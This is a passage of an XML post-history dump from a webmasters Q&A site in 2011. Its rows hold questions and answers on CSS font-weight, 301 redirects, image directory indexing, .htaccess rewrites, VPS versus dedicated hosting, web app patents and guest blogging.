  <row Id="35164" PostHistoryTypeId="1" PostId="14940" RevisionGUID="69d566d9-1ef9-42e1-8779-a8a0e58a180b" CreationDate="2011-06-07T17:50:14.183" UserId="8090" Text="font-weight on Windows" />
  <row Id="35165" PostHistoryTypeId="3" PostId="14940" RevisionGUID="69d566d9-1ef9-42e1-8779-a8a0e58a180b" CreationDate="2011-06-07T17:50:14.183" UserId="8090" Text="&lt;css&gt;&lt;windows&gt;" />
  <row Id="35166" PostHistoryTypeId="2" PostId="14941" RevisionGUID="05f65843-43d0-455c-9707-fd7e1f96ca1b" CreationDate="2011-06-07T18:02:06.573" UserId="1253" Text="According to a comment at the [Sitepoint CSS reference page for font-weight][1] there are at least IE issues on Windows:&#xD;&#xA;&#xD;&#xA;&gt; I would argue that none of the&#xD;&#xA;&gt; browsers listed support font-weight to&#xD;&#xA;&gt; a 'full' standard, as none support the&#xD;&#xA;&gt; numerical scale. Currently only&#xD;&#xA;&gt; Firefox 3 and Webkit nightlies support&#xD;&#xA;&gt; numbers as values of font-weight.&#xD;&#xA;&#xD;&#xA;Now that comment is a 2 1/2 years old so it may not be applicable today.&#xD;&#xA;&#xD;&#xA;I would recommend trying to set the value to &quot;lighter&quot; and see what happens.&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/css/font-weight" />
  <row Id="35167" PostHistoryTypeId="25" PostId="14928" RevisionGUID="65ffc0f2-afa8-4854-bf22-58f56ee0f458" CreationDate="2011-06-07T18:14:29.137" Comment="http://twitter.com/#!/StackWebmasters/status/78162928049729536" />
  <row Id="35168" PostHistoryTypeId="2" PostId="14942" RevisionGUID="6419391f-760d-45ba-9cd3-208c71b49fb4" CreationDate="2011-06-07T19:11:00.503" UserId="118" Text="One thing that I would check out is [Google webmaster tools][1].  It is more an observational tool than a configuring tool, but that's ideal because you can configure your site and then check that google reads it well in various ways, and if google does, the other search engines are likely to as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="35169" PostHistoryTypeId="2" PostId="14943" RevisionGUID="8037278d-f99b-409e-9929-fd85bfbea17d" CreationDate="2011-06-07T19:11:20.207" UserId="8092" Text="We are launching a new network and want to focus/funnel users to our top sites. We have hundreds of domains, but most of them don't really merit their own development (many were bought for brand protection), and would ideally redirect to one of the top sites, which there are only a handful of (20ish)&#xD;&#xA;&#xD;&#xA;For example, we have a food category. Our main site in this category is something like FoodSite.com. We have dozens of smaller subcategories that fit into the food category. Like BakingSite.com, PastrySite.com, SnackFoodSite.com and so forth.&#xD;&#xA;&#xD;&#xA;If we 301 redirect PastrySite.com, BakingSite.com, and dozens of other ones to the main portal, FoodSite.com, are we making a terrible SEO mistake? We know people who go to PastrySite.com will be interested in FoodSite.com (and have relevant, quality content there for them), but PastrySite.com does not merit its own page at this time.&#xD;&#xA;&#xD;&#xA;What would be the best approach to this in regards to SEO? Everything i'm reading tells me 301 redirect, but I've never seen the topic discussed at such a large scaled (hundreds of sub-categories pointing to 20ish strong umbrella sites with quality content). &#xD;&#xA;&#xD;&#xA;Any points would be greatly appreciated!&#xD;&#xA;" />
  <row Id="35170" PostHistoryTypeId="1" PostId="14943" RevisionGUID="8037278d-f99b-409e-9929-fd85bfbea17d" CreationDate="2011-06-07T19:11:20.207" UserId="8092" Text="Best Domain Redirect Approach for Large Network" />
  <row Id="35171" PostHistoryTypeId="3" PostId="14943" RevisionGUID="8037278d-f99b-409e-9929-fd85bfbea17d" CreationDate="2011-06-07T19:11:20.207" UserId="8092" Text="&lt;seo&gt;&lt;keywords&gt;&lt;301-redirect&gt;" />
  <row Id="35172" PostHistoryTypeId="2" PostId="14944" RevisionGUID="1dcb6665-d79a-434b-a27c-b9952e2a231a" CreationDate="2011-06-07T19:19:34.037" UserId="118" Text="By default, I have directory indexing turned off via apache, to limit oracle attacks to find php scripts.  Should I turn directory indexing on for /images/ folders, to make them more easily discoverable to search engines, or not?" />
  <row Id="35173" PostHistoryTypeId="1" PostId="14944" RevisionGUID="1dcb6665-d79a-434b-a27c-b9952e2a231a" CreationDate="2011-06-07T19:19:34.037" UserId="118" Text="Should image directories be indexable or not, for SEO?" />
  <row Id="35174" PostHistoryTypeId="3" PostId="14944" RevisionGUID="1dcb6665-d79a-434b-a27c-b9952e2a231a" CreationDate="2011-06-07T19:19:34.037" UserId="118" Text="&lt;seo&gt;&lt;image&gt;&lt;directory-listing&gt;" />
  <row Id="35175" PostHistoryTypeId="2" PostId="14945" RevisionGUID="76c0b362-3cf4-4724-9d29-a1545ec24b7c" CreationDate="2011-06-07T19:21:30.353" UserId="1253" Text="If you had content on those domains then you definitely want to do a 301 redirect as it will allow both search engines and users to find the new location for that content. For search engines that includes carrying over any links the pages on those domains had before the content was moved. Just keep in mind some link value will be lost by doing the redirect but the amount is small and usually worth the gains of consolidating the content.&#xD;&#xA;&#xD;&#xA;If there was no content on those domains and you are pointing them to a new website then you still want to do a 301 redirect to ensure you don't have duplicate content issues. You could use canonical URLs but that can be confusing to users if they see different URLs for the same content.&#xD;&#xA;&#xD;&#xA;The quantity of the domains and/or pages isn't really an issue. It won't cause red flags to be raised or anything like that. Just keep in mind if the domains being redirected are currently active you will take a hit in the search results until Google and the other search engines get everything all sorted out." />
  <row Id="35176" PostHistoryTypeId="2" PostId="14946" RevisionGUID="4de56c87-8792-43a4-abd9-628f826086cb" CreationDate="2011-06-07T19:23:41.913" UserId="1253" Text="You could do that if you want those images to be indexed and found in image search. But they'll be ranked better if the search engines find them in web pages because they can use nearby text, alt attributes, page context, etc, to determine what the image is. They can't do that from a directory listing unless you've done an incredible job of naming your subdirectories and images. Then again, that will also be available in your HTML so there's no advantage there." />
  <row Id="35177" PostHistoryTypeId="12" PostId="14946" RevisionGUID="23ddd7f2-46d3-4e7b-bbec-065c1234eb34" CreationDate="2011-06-07T19:24:13.473" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35178" PostHistoryTypeId="13" PostId="14946" RevisionGUID="5ca6086f-621c-47cd-a3bd-69e45b9d1204" CreationDate="2011-06-07T19:26:23.347" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35179" PostHistoryTypeId="2" PostId="14947" RevisionGUID="913ceb72-c2e6-42be-b6c4-d97375e91518" CreationDate="2011-06-07T19:27:12.693" UserId="8093" Text="John is right, but `&lt;b&gt;` denotes the way it should look like instead of the meaning like `&lt;strong&gt;`. The same with `&lt;i&gt;`, you are saying that text should be in *italics* but, with `&lt;em&gt;` you are making emphasis on that text." />
  <row Id="35180" PostHistoryTypeId="5" PostId="14944" RevisionGUID="3887f64b-b329-44c0-ba91-2da9cc7ffce4" CreationDate="2011-06-07T19:30:15.950" UserId="118" Comment="added 10 characters in body; added 161 characters in body; added 9 characters in body" Text="By default, I have directory indexing turned off via apache, to limit oracle attacks to find php scripts.  Should I turn directory indexing on for /images/ folders, to make all the images on the site discoverable to search engines, or not?&#xD;&#xA;&#xD;&#xA;Is there a disadvantage to a search engine spider getting a 403 Forbidden when they access the root folder /images/ directly as opposed to say /images/someimage.jpg ?" />
  <row Id="35181" PostHistoryTypeId="2" PostId="14948" RevisionGUID="e238628d-3258-41b9-87ac-0e84aa5a61f5" CreationDate="2011-06-07T19:31:30.093" UserId="7731" Text="What you want is URL rewrite (available through mod_rewrite in Apache).  This will translate one URL into a different URL.&#xD;&#xA;&#xD;&#xA;To enable rewriting, put the following in your htaccess file:&#xD;&#xA;&#xD;&#xA;`Options +FollowSymlinks` &lt;br /&gt;&#xD;&#xA;`RewriteEngine on`&#xD;&#xA;&#xD;&#xA;Now you'll need to add the rewrite rules to htaccess.&#xD;&#xA;Turn `http://janetalkstech.com/admin/publish?id=146` into `http://janetalkstech.com/?p=146`.&#xD;&#xA;&#xD;&#xA;`RewriteRule ^admin/publish?id=(.*)  /?p=$1`" />
  <row Id="35182" PostHistoryTypeId="2" PostId="14949" RevisionGUID="e7b20588-862e-4fc2-a3c4-748d47dafc19" CreationDate="2011-06-07T20:00:56.450" UserId="7198" Text="[Filenice](http://filenice.com/) is a PHP directory browser with search functionality." />
  <row Id="35183" PostHistoryTypeId="2" PostId="14950" RevisionGUID="67de8242-f775-4a42-9b6d-503ecc904212" CreationDate="2011-06-07T20:53:30.857" UserId="7198" Text="From the Mozilla Developer Network CSS docs for [font-weight](https://developer.mozilla.org/en/CSS/font-weight):&#xD;&#xA;&#xD;&#xA;&gt; &quot;If the exact weight given is unavailable, then 600-900 use the closest available darker weight (or, if there is none, the closest available lighter weight), and 100-500 use the closest available lighter weight (or, if there is none, the closest available darker weight). This means that for fonts that provide only normal and bold, 100-500 are normal, and 600-900 are bold.&quot;&#xD;&#xA;&#xD;&#xA;You don't see a lighter weight on Windows because there isn't one for Arial, so it falls back on a normal weight instead.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35184" PostHistoryTypeId="2" PostId="14951" RevisionGUID="6f6188b2-c7cf-4a28-bb45-1b3def137ece" CreationDate="2011-06-07T21:03:19.170" UserId="7899" Text="Windows hosting is not just for ASP.NET. You can install Apache, PHP, and MySQL very easily here. This is the platform that the majority of developers use for PHP (for example: mysql.com reported that 6-7 out of 10 downloads where for Windows builds, in 2009). And there is no reason why you can't get a Windows VPS, uninstall any control panel that comes with it, and use Apache + PHP + MySQL.&#xD;&#xA;&#xD;&#xA;You could also use an all-in-one wamp package that will install this software for you.&#xD;&#xA;&#xD;&#xA;There are free packages such as [XAMPP](http://www.apachefriends.org/en/xampp-windows.html) and WampServer.&#xD;&#xA;&#xD;&#xA;There are also commercial packages such as [Wamp Developer](http://www.devside.net/server/webdeveloper), which installs Joomla for you automatically.&#xD;&#xA;" />
  <row Id="35185" PostHistoryTypeId="5" PostId="14951" RevisionGUID="250bab81-57f4-4307-be8c-81de509b3f77" CreationDate="2011-06-07T21:08:59.933" UserId="7899" Comment="added 24 characters in body" Text="Windows hosting is not just for ASP.NET. You can use Apache, PHP, and MySQL very easily here.&#xD;&#xA;&#xD;&#xA;This is the platform that the majority of developers use for PHP and MySQL (for example: mysql.com reported that 6-7 out of 10 downloads where for Windows builds, in 2009). And there is no reason why you can't get a Windows VPS, uninstall any control panel that comes with it or disable IIS, and use Apache + PHP + MySQL.&#xD;&#xA;&#xD;&#xA;You could also use an all-in-one wamp package that will install this software for you.&#xD;&#xA;&#xD;&#xA;There are free packages such as [XAMPP](http://www.apachefriends.org/en/xampp-windows.html) and WampServer.&#xD;&#xA;&#xD;&#xA;There are also commercial packages such as [Wamp Developer](http://www.devside.net/server/webdeveloper), which installs Joomla for you automatically.&#xD;&#xA;" />
  <row Id="35186" PostHistoryTypeId="25" PostId="14944" RevisionGUID="46e2f9c8-d57a-4f80-9ed1-fad64783ff07" CreationDate="2011-06-07T21:14:29.433" Comment="http://twitter.com/#!/StackWebmasters/status/78208226834911233" />
  <row Id="35187" PostHistoryTypeId="2" PostId="14952" RevisionGUID="a98674fb-b318-40aa-9579-4e94b9803b76" CreationDate="2011-06-07T21:16:36.477" UserId="5545" Text="I'm looking for advice on software for managing a largish photo album for a website.  2000+ pictures, one-time drop (probably).&#xD;&#xA;&#xD;&#xA;I normally use MarginalHack's album, which does what I want: pre-generate thumbnails and HTML for the pictures, so I can serve without needing a dynamic run-time, so there's less attack surface to worry about.  However, it doesn't handle pagination or the like, so it's unwieldy for this case.&#xD;&#xA;&#xD;&#xA;This is a one-time drop for pictures from a wedding, with a shared usercode/password for distribution to the guests; I don't wish to put the pictures in a third-party hosting environment.  I don't wish to use PHP, simply because that's another run-time to worry about, I might relent and use something dynamic if it's Python or Perl based (as I can maintain things written in those).&#xD;&#xA;&#xD;&#xA;I currently have: Apache serving static files, Album-generated, some sub-directories to divide up the content to be a little more manageable.&#xD;&#xA;&#xD;&#xA;Something like Album but with pagination already handled would be great, but I'm willing to have something a little more dynamic, if it lets people comment or caption and store the extra data in something like an sqlite DB.  I'd want something light-weight, not a full-blown CMS with security updates every three months.&#xD;&#xA;&#xD;&#xA;I don't want to upload pictures of other peoples' children into a third-party free service where I don't know what the revenue model is. (For my site: revenue is none, costs out of pocket).&#xD;&#xA;&#xD;&#xA;Existing server hosting is *nix, Apache, some WSGI. Client-side I have MacOS.&#xD;&#xA;&#xD;&#xA;Any advice?" />
  <row Id="35188" PostHistoryTypeId="1" PostId="14952" RevisionGUID="a98674fb-b318-40aa-9579-4e94b9803b76" CreationDate="2011-06-07T21:16:36.477" UserId="5545" Text="Static pages for large photo album" />
  <row Id="35189" PostHistoryTypeId="3" PostId="14952" RevisionGUID="a98674fb-b318-40aa-9579-4e94b9803b76" CreationDate="2011-06-07T21:16:36.477" UserId="5545" Text="&lt;static-content&gt;&lt;comments&gt;&lt;photo-gallery&gt;" />
  <row Id="35190" PostHistoryTypeId="2" PostId="14953" RevisionGUID="6d61d66d-30d1-4669-a916-2179aeca52d1" CreationDate="2011-06-07T21:30:05.800" UserId="3697" Text="Haven't used it for a while, but I always used to use Gallery:&#xD;&#xA;&#xD;&#xA;http://gallery.menalto.com/" />
  <row Id="35191" PostHistoryTypeId="2" PostId="14954" RevisionGUID="9a20ece6-2edd-40be-a54c-4674e31a1e3e" CreationDate="2011-06-07T21:35:20.257" UserId="8095" Text="While discussing a website idea I had with friends and worked on it, they told me to be wary of theft regarding the website.  Since the code I'd be working on would be mostly Javascript and HTML, the likelihood of theft is quite high.  Furthermore, if I'm lucky, the idea I have would be a breakthrough when it comes to being useful.&#xD;&#xA;&#xD;&#xA;So, you can see the problem here-- I would be developing an application that's easily stolen, and unfortunately an application that companies larger than myself would want to provide.&#xD;&#xA;&#xD;&#xA;I'm also unsure if this idea has already been patented.  I realize patent law is murky as in you can create a vague patent and still claim others are violating it.&#xD;&#xA;&#xD;&#xA;So, I'd like to search existing patents for one that may be relevant to my idea, and I'd like to patent it in the meantime.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience regarding this?  Should I invite a lawyer into the mix?&#xD;&#xA;&#xD;&#xA;_As a note, I was going to add tags like, &quot;Patents&quot;, but nobody has asked such a question yet and I just joined this StackOverflow..._" />
  <row Id="35192" PostHistoryTypeId="1" PostId="14954" RevisionGUID="9a20ece6-2edd-40be-a54c-4674e31a1e3e" CreationDate="2011-06-07T21:35:20.257" UserId="8095" Text="Patenting a Web Application before launch?" />
  <row Id="35193" PostHistoryTypeId="3" PostId="14954" RevisionGUID="9a20ece6-2edd-40be-a54c-4674e31a1e3e" CreationDate="2011-06-07T21:35:20.257" UserId="8095" Text="&lt;web-applications&gt;&lt;copyright&gt;&lt;ownership&gt;" />
  <row Id="35194" PostHistoryTypeId="2" PostId="14955" RevisionGUID="962cf9b6-3b5d-4b61-b01c-3433baf934cb" CreationDate="2011-06-07T21:51:27.693" UserId="8096" Text="You definitely will want to get a IP lawyer involved.&#xD;&#xA;&#xD;&#xA;When I looked into this process a couple years ago, the initial cost for a patent search was $5,000-$10,000. The entire patent application process was going to be at least $15,000. You will also have to document the entire application inside and out for your lawyer.&#xD;&#xA;&#xD;&#xA;I also learned that as soon as you make your web app public, if you don't have a patent already, it is no longer patentable in most countries. You do have up to one year after making the site public to file a patent application in the US, Australia, and (I believe) Canada, but for all other countries you are out of luck.&#xD;&#xA;&#xD;&#xA;For *some* protection against copy-and-paste stealing of your HTML and JS, you can look into obfuscation, but if someone really wants the site, they will find a way to get it." />
  <row Id="35195" PostHistoryTypeId="2" PostId="14956" RevisionGUID="c02e92fd-26a5-471a-adb3-2245ff26b61f" CreationDate="2011-06-07T22:40:21.540" UserId="5718" Text="The choice of going with number 1 or 2 depends on how you want your users to be able to view the data. If you want them to be able to see the full range of reports available in Google Analytics then you should use 1 but if you just want to pull out stats to show on your own site then you'll need to use the API.&#xD;&#xA;&#xD;&#xA;You can implement a GA login for each user by using profiles in your own account. You can use the same tracking code for all users but then filter the data so it's sent to different profiles depending on which user(s) are to see stats for each page on the site. You can then give the user a login to GA where they only have access to reports from their own profile.&#xD;&#xA;&#xD;&#xA;The main problem with this approach is that you would need to manually set up each profile and user login yourself. There would probably also be an issue with the number of profiles in your account as I think there's a limit of 50 so you could end up needing multiple accounts.&#xD;&#xA;&#xD;&#xA;Using the API would be easier because you would just need to send all the data to your own account then filter it while you're downloading it." />
  <row Id="35196" PostHistoryTypeId="5" PostId="14954" RevisionGUID="eee82020-3e10-4b9f-8e6d-700bdf00c060" CreationDate="2011-06-07T23:12:20.910" UserId="1253" Comment="added 1 characters in body; edited tags" Text="While discussing a website idea I had with friends and worked on it, they told me to be wary of theft regarding the website.  Since the code I'd be working on would be mostly Javascript and HTML, the likelihood of theft is quite high.  Furthermore, if I'm lucky, the idea I have would be a breakthrough when it comes to being useful.&#xD;&#xA;&#xD;&#xA;So, you can see the problem here-- I would be developing an application that's easily stolen, and unfortunately an application that companies larger than myself would want to provide.&#xD;&#xA;&#xD;&#xA;I'm also unsure if this idea has already been patented.  I realize patent law is murky as in you can create a vague patent and still claim others are violating it.&#xD;&#xA;&#xD;&#xA;So, I'd like to search existing patents for one that may be relevant to my idea, and I'd like to patent it in the meantime.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience regarding this?  Should I invite a lawyer into the mix? &#xD;&#xA;&#xD;&#xA;_As a note, I was going to add tags like, &quot;Patents&quot;, but nobody has asked such a question yet and I just joined this StackOverflow..._" />
  <row Id="35197" PostHistoryTypeId="6" PostId="14954" RevisionGUID="eee82020-3e10-4b9f-8e6d-700bdf00c060" CreationDate="2011-06-07T23:12:20.910" UserId="1253" Comment="added 1 characters in body; edited tags" Text="&lt;web-applications&gt;&lt;copyright&gt;&lt;ownership&gt;&lt;patents&gt;" />
  <row Id="35198" PostHistoryTypeId="25" PostId="14927" RevisionGUID="fc7d7431-12dc-49f1-af02-edaf631f6441" CreationDate="2011-06-08T00:14:29.540" Comment="http://twitter.com/#!/StackWebmasters/status/78253524579926016" />
  <row Id="35199" PostHistoryTypeId="5" PostId="14902" RevisionGUID="abd3e1a6-f318-407b-a687-0dfd67558daa" CreationDate="2011-06-08T00:20:49.517" UserId="8077" Comment="added 62 characters in body" Text="My Google-fu has failed me on this one. Every time I search for something like this all I get is a bunch of vulnerability reports. I feel like this should be pretty straightforward, but I'm not having any luck.&#xD;&#xA;&#xD;&#xA;I have an internal web/fileserver whose functionality I'd like to integrate. Currently, there is a large data partition with a bunch of files (git repo) only accessible via SSH, and a separate web server (Apache2 on Debian). Note that the majority of files have whitespace in their path.&#xD;&#xA;&#xD;&#xA;Is there a minimal (no database or frills) CGI script or something that will dynamically load a directory listing and make links to the files, and maybe some basic search, too? A tie-in to find/locate via bash would be about the right amount of functionality.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35200" PostHistoryTypeId="2" PostId="14957" RevisionGUID="e83f1adb-10db-4ff1-8a2a-548839c590c4" CreationDate="2011-06-08T00:55:07.557" UserId="7550" Text="I understand the physical differences but in a practical sense, what will be the differences?  Speed?&#xD;&#xA;&#xD;&#xA;I understand that I have full control over a virtual private server in a software aspect as with dedicated servers - what then is the difference from my point of view?  Surely VPS's are easier to upgrade.  Why are they always so much cheaper for the same specs?" />
  <row Id="35201" PostHistoryTypeId="1" PostId="14957" RevisionGUID="e83f1adb-10db-4ff1-8a2a-548839c590c4" CreationDate="2011-06-08T00:55:07.557" UserId="7550" Text="What's the practical difference between dedicated and virtual private servers?" />
  <row Id="35202" PostHistoryTypeId="3" PostId="14957" RevisionGUID="e83f1adb-10db-4ff1-8a2a-548839c590c4" CreationDate="2011-06-08T00:55:07.557" UserId="7550" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;dedicated-hosting&gt;" />
  <row Id="35203" PostHistoryTypeId="2" PostId="14958" RevisionGUID="2cf1f95c-cda7-4fb1-a2a3-69c362a2130b" CreationDate="2011-06-08T01:18:58.083" UserId="8018" Text="It depends on the host, but usually VPS means you get a virtual share of a box. Dedicated means you get your own box. As far as speed goes, you'd need to get specs from the host - this could be different for every plan, and speed is going to differ depending on your use case (e.g. how much memory and processing do you need for your apps)." />
  <row Id="35204" PostHistoryTypeId="2" PostId="14959" RevisionGUID="c973b46b-a77c-4877-b5e3-07bd43858816" CreationDate="2011-06-08T01:19:11.017" UserId="1010" Text="You can think of the major difference this way: With both, you are paying for root access, but you'll only get *complete use of the hardware* with a dedicated machine.&#xD;&#xA;&#xD;&#xA;VPSes can frequently fall victim to one of the huge problems in the hosting business: **overselling**.  At any given moment during the day, the average customer isn't going to be using *all* of the available allocated CPU time, memory and I/O, so it's &quot;safe&quot; to pack a server as full as it can possibly be.  Let's use [this 24-core server](http://www.siliconmechanics.com/i26338/8-drive-opteron-1U.php?config_id=830543) as an example&lt;sup&gt;1&lt;/sup&gt;.  24 cores means 24 virtual machines, right?  In reality, many VPS providers would pack more than twice that number on there and not even blink.&#xD;&#xA;&#xD;&#xA;Quality providers limit overselling, but are more expensive as a result.&#xD;&#xA;&#xD;&#xA;Commercial VPSes are appropriate for many workloads.  Besides not always having a full core available to you (unless the host guarantees one), one of the common complaints about VPSes has to do with I/O speed.  [As this benchmark comparison from 2009 demonstrates](http://journal.uggedal.com/vps-performance-comparison/), available CPU use is generally spread evenly over time, while disk access speeds are all over the charts depending on the provider.&#xD;&#xA;&#xD;&#xA;If your workload isn't bound to disk I/O, then a VPS may be a fine solution for you.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&lt;sup&gt;1: I am biased in favor of the hardware provider I linked over all others in such a way that a disclaimer is needed.&lt;/sup&gt;&lt;/sub&gt;" />
  <row Id="35205" PostHistoryTypeId="2" PostId="14960" RevisionGUID="55044ffd-d8e7-49db-a5c2-826dd6b76862" CreationDate="2011-06-08T01:37:56.117" UserId="8018" Text="Not every country honors patents. Even if you patent your idea, if your idea has profit potential, someone is going to steal it. You can make it harder to steal by moving enough parts of your logic to the server-side that it's more difficult to piece together with client-side script alone." />
  <row Id="35206" PostHistoryTypeId="2" PostId="14961" RevisionGUID="438944a5-d9b5-4a60-98a7-788d49d703a6" CreationDate="2011-06-08T01:43:12.310" UserId="8018" Text="&gt; My theory behind that is&#xD;&#xA;&#xD;&#xA;That's your problem. Don't theorize - test. You can use the network profiler in Firebug or IE dev tools to see exactly, down to the millisecond, which method is fastest." />
  <row Id="35207" PostHistoryTypeId="2" PostId="14962" RevisionGUID="1b3c6fd8-05de-4f92-ab3f-16940fec76e7" CreationDate="2011-06-08T01:55:20.530" UserId="8018" Text="Google can't be counted on to return a full list of backlinks. If you want a reliable report you'll have to use a tool, or write a script, to crawl &quot;othersite.com&quot; yourself. Xenu's Link Sleuth is useful for this: http://home.snafu.de/tilman/xenulink.html " />
  <row Id="35208" PostHistoryTypeId="2" PostId="14963" RevisionGUID="384b53ab-1d7b-4a1b-a4ea-e3419ca7aef7" CreationDate="2011-06-08T01:57:43.870" UserId="8018" Text="You could write a PowerShell script to automate cross-farm compilation." />
  <row Id="35209" PostHistoryTypeId="2" PostId="14964" RevisionGUID="8ef98f36-5acc-45c1-9dd7-cd53efe85188" CreationDate="2011-06-08T02:06:07.597" UserId="8018" Text="If it's a Google Maps mashup most of the JS is already going to be hosted by Google. &#xD;&#xA;&#xD;&#xA;How large is your GIS dataset you're using Django for? Depending on its size you may be able to run a job to make it available as JSON, and not need for your Django to handle user requests.&#xD;&#xA;" />
  <row Id="35210" PostHistoryTypeId="25" PostId="14924" RevisionGUID="8957e892-5fb2-4556-bb26-a95c75cc0520" CreationDate="2011-06-08T03:14:29.607" Comment="http://twitter.com/#!/StackWebmasters/status/78298825265119232" />
  <row Id="35211" PostHistoryTypeId="5" PostId="14724" RevisionGUID="20e5d396-3026-491b-a9bf-adb51b5dfb40" CreationDate="2011-06-08T03:40:00.180" UserId="1253" Comment="added 13 characters in body" Text="This almost always in the result of the files being uploaded to the wrong directory. Your files need to be placed in the webroot of your website. This folder can have several names including:&#xD;&#xA;&#xD;&#xA; - htdocs&#xD;&#xA; - www&#xD;&#xA; - public_html&#xD;&#xA; - httpdocs&#xD;&#xA;&#xD;&#xA;Find that directory and place your files in there. &#xD;&#xA;&#xD;&#xA;You may also need to delete the default home page as it may have priority over your new page and will continue to show until you delete it." />
  <row Id="35212" PostHistoryTypeId="5" PostId="14723" RevisionGUID="94813e0a-9cf9-45d7-9bb7-090c3a02a78a" CreationDate="2011-06-08T03:41:33.127" UserId="1253" Comment="added 28 characters in body" Text="&gt;1) Are there alternatives to this - is there a 3rd party provider who will give me this service without me sending them the credit card info?&#xD;&#xA;&#xD;&#xA;Only Google offers Adwords advertisements on their website. So if you want to have your ads appear on Google's website you must do it through Adwords.&#xD;&#xA;&#xD;&#xA;&gt;2) How secure is it to send my credit card fax via some online fax service?&#xD;&#xA;&#xD;&#xA;It's secure as long as you are sure no one is copying the fax. This really is only an issue on your end so if you can watch the fax process and ensure no one makes unauthorized copies of your card you should be fine. Doing this is not uncommon.&#xD;&#xA;&#xD;&#xA;&gt;3) Do you think they will reject the application if I hide my CVV number in the fax?&#xD;&#xA;&#xD;&#xA;Probably. There's no reason to hide that number so if you do it probably will raise a big red flag with them. There's a lot of fraud involved in advertising so anything that makes you look suspicious is probably going to hurt your chances of being approved." />
  <row Id="35213" PostHistoryTypeId="5" PostId="14902" RevisionGUID="43b9ae98-5335-48bc-8b1d-c66944226e11" CreationDate="2011-06-08T04:10:49.140" UserId="8077" Comment="added 33 characters in body" Text="My Google-fu has failed me on this one. Every time I search for something like this all I get is a bunch of vulnerability reports. I feel like this should be pretty straightforward, but I'm not having any luck.&#xD;&#xA;&#xD;&#xA;I have an internal web/fileserver whose functionality I'd like to integrate. Currently, there is a large data partition with a bunch of files (git repo) only accessible via SSH, and a separate web server (Apache2 on Debian). &lt;s&gt;Note that the majority of files have whitespace in their path.&lt;/s&gt; (Bulk-renamed this away.)&#xD;&#xA;&#xD;&#xA;Is there a minimal (no database or frills) CGI script or something that will dynamically load a directory listing and make links to the files, and maybe some basic search, too? A tie-in to find/locate via bash would be about the right amount of functionality.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35214" PostHistoryTypeId="25" PostId="14915" RevisionGUID="1c491593-2242-4bef-b27f-52b4b552c662" CreationDate="2011-06-08T06:14:29.947" Comment="http://twitter.com/#!/StackWebmasters/status/78344124809486336" />
  <row Id="35218" PostHistoryTypeId="2" PostId="14966" RevisionGUID="3135d1e3-ae7d-4ac9-9556-5164b03a94be" CreationDate="2011-06-08T07:12:09.613" UserId="1643" Text="Charles has done a good job of answering most of your question thoroughly. On the last point of cost, it's because the cost of a server is more than just the cost of CPU and memory - there's the case and power supply etc. You can double the memory and add more cores without doubling the cost of the server. You can then set up two VPSs and sell them each for the price of the original server." />
  <row Id="35219" PostHistoryTypeId="5" PostId="14966" RevisionGUID="836fd4d2-c0e9-43d0-99cf-2723cb345453" CreationDate="2011-06-08T07:21:31.563" UserId="1643" Comment="added 57 characters in body" Text="Charles has done a good job of answering most of your question thoroughly. On the last point of cost, it's because the cost of a server is more than just the cost of CPU and memory - there's the case and power supply etc. You can double the memory and add more cores without doubling the cost of the server. You can then set up two VPSs and sell them each for the less than the price of the original server, but more than the CPU and memory cost you." />
  <row Id="35220" PostHistoryTypeId="2" PostId="14967" RevisionGUID="74335f0f-bf91-4d0f-8e16-c1b71ac5f5a8" CreationDate="2011-06-08T07:23:39.613" UserId="1643" Text="Set up an htaccess rule from `/subdir/*.htm` to `/subdir/*.htm/100` and wait for the search engines to recrawl you." />
  <row Id="35221" PostHistoryTypeId="2" PostId="14968" RevisionGUID="3a6f8a42-7964-417c-a3b8-30bbad47082e" CreationDate="2011-06-08T07:38:31.540" UserId="7198" Text="**As a site owner,** soliciting guest posts allows you to run a website without paying writers. Sites such as [Problogger](http://problogger.net) and [The Huffington Post](http://www.huffingtonpost.com/) have built huge content archives and massive ad revenue on the backs of writers who were willing to work for backlinks, exposure, and a byline alone.&#xD;&#xA;&#xD;&#xA;The choice to accept guest posts is often a choice to dilute a consistent and recognisable voice in exchange for pageviews and free time. In my opinion, blogs become uninteresting once an author gives up their voice to accept content from anyone, and I often stop reading sites that transition from focussed insight penned by one person into a soap box for the masses.&#xD;&#xA;&#xD;&#xA;If you're thinking about accepting guest posts, consider paying contributors and drafting a publishing policy designed to sustain quality content. [This policy](http://www.smashingmagazine.com/publishing-policy/) was introduced by Smashing Magazine shortly after they were criticised for too many list-style guest posts devoid of useful content, and I think it's done wonders for the site. Note this line:&#xD;&#xA;&#xD;&#xA;&gt; &quot;All editors, regular writers and guest authors of SM get paid for their work.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**As a blogger**, submitting guest posts allows you to leverage someone else's audience to grow your own, spread a message, and build backlinks on a site with a higher pagerank than yours.&#xD;&#xA;&#xD;&#xA;A typical guest blogging relationship puts the person accepting guest posts in the position of power; you need their audience more than they need you, so 'reciprocal arrangements' as you put it are rare. Those in a position to accept guest posts typically don't have an incentive to guest post themselves, although they may once have built their own audience that way.&#xD;&#xA;&#xD;&#xA;I've guest posted on some high-traffic blogs, and my experience is that:&#xD;&#xA;&#xD;&#xA; 1. Guest posts on popular sites attracts nastier comments than you're used to. (More people read their blog, so more idiots read it too.) They're easy to shrug off, but you have to learn not to take it personally pretty quickly. I find that not reading the comments at all helps.&#xD;&#xA; 2. Guest posting *does* attract visitors and subscribers to your own site, but probably nowhere near the amount you'd expect, and certainly not much more than simply commenting on high trafficked blogs regularly.&#xD;&#xA; 3. Guest posts that get accepted by popular sites tend to be somewhat formulaic in nature. Those who take guest posts are doing it to build their traffic, so they're often looking for link-bait titles, very short paragraphs, multiple subtitles, and other typically 'bloggy' writing conventions. If you don't write that way, be prepared to adjust your style to get accepted by some of the bigger 